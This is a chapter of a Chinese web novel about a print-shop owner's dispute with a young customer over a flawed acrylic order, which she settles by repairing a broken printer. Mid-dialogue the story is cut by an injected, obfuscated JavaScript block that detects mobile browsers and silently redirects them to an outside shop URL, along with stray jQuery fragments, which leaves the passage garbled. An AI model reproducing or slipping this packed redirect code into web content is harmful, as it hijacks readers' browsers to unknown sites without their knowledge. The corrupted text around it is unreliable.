孙顺利现在认为自己就不该接这些所谓“二刺猿”的活。
单子价格低又难做不说，各个都要加急，做的时候就一堆要求，做出来也要吹毛求疵地挑问题。
他自己虽然也玩游戏、看动画片，但内心都是跟自己的“正经生意”分得很开的，那些东西不过是小孩子娱乐休闲的罢了。
只是因为自家的店正好开在这个会展中心旁边，一开始只是零星几个小孩找到店里，要求做一些花里胡哨的怪东西，量也不大，工序要求倒是不低，但店里设备正好能做。
那会儿印厂都快关门大吉了，蚊子腿也是肉，做什么都不寒碜，孙顺利也不问什么，闷头就是做。
没想到前几单做出来的效果都不错，几位老师欢天喜地奔走相告，“场馆附近的滑铲神店”、“老板人狠话不多”等等一宣传，这个普普通通的小印厂、莫名其妙地在一个特殊的圈子、彻底打出名气。
而生意就是转起来就好了，只要把握住一个契机，就能像滚雪球一样越做越大。
如今就算不是漫展的日子，孙顺利从线上也能接到不知哪里摸过来的订单，基本都是客客气气的小姑娘，奇思妙想很多，听不懂的胡言乱语也不少。
厂子扩充了机器，组出了生产线，员工也多招了几个，甚至还在大家的建议下找人远程搓了app，把制品、工艺流程化、自助化。
印厂的规模和名气越来越大。
可孙顺利并没有变，他本质上还是那个少年时期梦想着创建大规模流水线印刷帝国、最好进军出版界、每天到处飞着跟人谈生意的成功人士。
他开始嫌弃那些“小打小闹”了。
单价又上不去，涨一点价就像要了他们的命，新工艺是一点也不能落下的，稍微上得慢一点就要被催死催活，今天问了明天又来问。
再被其他同行一吹捧、一撺掇。
“哎呀我们一开始就不接那些活的，风险太大，你懂的吧？”
“不如正正经经接点官方的生意，反正现在你这个体量，饿又饿不死的啰。”
……
他忘记了自己现在的体量当初都是靠“那些活”一点点堆起来的，也没意识到其他小厂嘴上说着不想接、实际上是因为地理位置没有自己的好，没有正巧坐落在常办漫展的场馆附近而已。
那些同行甚至背地四处宣传自家厂子也“什么都能做”、“滑铲友好”，伪装出一副圈内人的口吻，线上线下小广告发到飞起。
这些事情，现在的孙顺利都还不知道。
他只是第不知道多少次面对像裴靓靓这样崩溃、又无计可施的小顾客，从内心里感到厌烦。
道歉、退款，这些事情他都很熟练了，只要表面功夫做好，态度又说得过去，这些人大部分也只会在僵持了一段时间之后自行离开。
至于到底是谁的错，这种事情搞清楚又有什么意义？根本也没人在乎。
但这一次，“多管闲事的人”出现了。
一方面是因为事情发生在线下，争论的全过程被围观群众完整地听下来，能及时参与对话，反应非常快、判断也相对准确；
如果改到线上，一对一回复，那就会变成完全的卖方市场了，就算事后裴靓靓把聊天记录贴出来，也容易被质疑，毕竟现在赛博升堂的效力也在逐渐减弱。
另一方面，也是正好遇到了潇冉和挽星这一对好搭档。
潇冉经验丰富，头脑又很清晰，虽然咋咋呼呼，但也不怕惹事；
挽星则是在发现了裴靓靓就是飞蚁老师以后，油然而生一种“同为冷门男主推”的与有荣焉的感觉，无论如何都想要帮她讨回公道。
而裴靓靓本人，她只在被挽星认亲的时候惊讶了一下，随后就是对陌生人仗义执言的感动。
原本想要退缩的心理，也在发现自己并不是“孤单一个人在坚持一些没有意义的事情”之后、逐渐又变得坚定。
“就像这位老师说的，我不接受退款，目前的这些瑕疵我也无法接受，我要求重做。”
“哈，”
孙顺利也装不下去了，把脸一抹，眼神看起来都阴冷了几分，
“可现在就是没空给你做了，这些、还有这些，这些机器都在做别的老师的单子，”
“等其他老师也过来了，他们要的东西却没做出来，你去跟他们说吗？”
他故意把前台打出来的订单怼到裴靓靓面前，试图把自己跟顾客的矛盾推卸转移成顾客之间的。
但这点小九九根本骗不了潇冉。
“你怎么调度安排不应该是你自己的事情吗？”
挽星则在几人吵群架的中途，开始默默观察四周。
“不好意思——”
她突然抬起手，指着不远处的一台机器，问旁边站着的店员，
“那台机子是不是也能做亚克力的？”
她观察了有一段时间了，在一排哐哐运作的设备中，只有一台一动不动，连屏幕都是黑着的，看起来根本没有插电源。
店员小姐姐挠了挠头，
“哦，那一台一直都是坏的，打不了。”
“怎么坏的？修不好吗？”挽星不死心地追问。
“不知道，反正就是坏的，要修肯定也不是这么短时间能修好的。”
对方摇了摇头，言辞很模糊，但能听出来并不是故意在糊弄，而是本来脑子就一团浆糊，也没有仔细思考过原因，只是之前就被动接受了“这台机器坏了、别去动”的信息，并一直践行至今。
挽星走上前去。
其实她也对机械一窍不通，只是更不擅长吵架，试图在这种情况里，做一些力所能及的事情而已。
她启动了电源，屏幕上果然跳起不正常的蓝屏、和一些没人看得懂的乱码。
店员也跟在她身后看着，一副“我说过了”的样子。
唔，实在不行就带着老师绕路去别的店碰碰运气吧，自己之前还查了几个地址，就算晚一点，至少应该能赶上第二天的漫展。
大不了今晚不睡、明晚也不睡了……
挽星在心里盘算着，疯狂想点子，却完全没有放弃裴靓靓的打算。
然而，现场除了挽星，还有其他人。
小漫画家们不擅长机械工具，却正好有人很擅长。
秦孟正在东张西望，见有人鬼鬼祟祟去碰机器，也跟了过去凑热闹，正好听到店员在劝挽星。
“……我说了这个是坏的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16824901|183103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘛，你别再碰了，到时候越来越坏，我一会看看能不能找单子的间隙帮她重打一下，你也劝劝你朋友，别跟老板吵了……”
“呃……”
一把男声弱弱地插入两人对话，
“是不是把这个修好，就能来得及做我们的东西了？”
店员和挽星都转过头，店员上下打量一下他。
大高个，运动服，黑口罩，头发特意抓过，声音听着也很年轻。
怎么看都不太靠谱的样子。
“你会修？”
秦孟果断一把将战场中心的裴靓靓薅过来，分担责任，
“她也会。”
这下，大家的注意力都被吸引了。
孙顺利第一反应是这群人要对自己机器图谋不轨，
“你们干嘛？不准动店里的东西！”
可潇冉往他面前一拦，
“你那机子本来就是坏的，还怕人碰？要是万一修好了，明明是对你有利的。”
其他围观老师也很上道，纷纷跟潇冉站到一边，默契地拖住老板。
此时还正好有两位新来的老师，深夜前来取制品，一进门见到这么热闹的场景，立刻原地吃起瓜来。
场面是相当的热闹了。
裴靓靓跟秦孟站在坏掉的打印机前，嘀嘀咕咕。
“……是这样的吧？”
“应该是。”
“没问题吗？”
“咱俩水平差不多你又不是不知道，你问我？”
“这儿也没别人可问了啊……”
“那就别问啦，又不是……这还能有什么问题。”
裴靓靓、秦孟，在进入研究所成为各自科室的吊车尾、每天被各路天才打压学术信心之前，也曾经是理论知识和实践水平兼具的高端全能人才。
梳理、打通、再梳理，普通人眼里的乱码在他们头脑中是一条条明晰的路径，轻易就能找到症结所在。
不如说这种程度，放到他们的日常工作中，属于相当温柔的问题了。
“……那、那我修了？”
“修修修。”秦孟鼓励道。
随着新的机械声加入屋内的滑铲大部队，裴靓靓的亚克力原稿经校正后重新投产，困扰她的问题、以及与店主的争执，都烟消云散。
孙顺利不屑地撇了撇嘴，继续去处理手头的一大堆订单和咨询。
在他看来，这不过是个无关紧要的小插曲。
至于目睹了这起完整事件的老师们各自回去，原原本本在线上将事实还原出来，并通过传播舆论、切实影响到印厂生意的时候，他自然是后悔也来不及了。
“谢谢你们，谢谢！”
裴靓靓向潇冉和挽星不住道谢。
“是你们自己太厉害了，连那种机器都会修！”
“就是，谁也不想自己的制品出问题，我们也只是互相帮助而已啦。”
潇冉笑嘻嘻地答，她和挽星一人抱着一摞本子，正往自己的行李箱塞。
裴靓靓和秦孟自然上来帮忙。
“这个本……”
裴靓靓看着本子封面的沈青棠，眼睛缓缓地瞪大了，
“……这不会是老师你自己画的吧？！”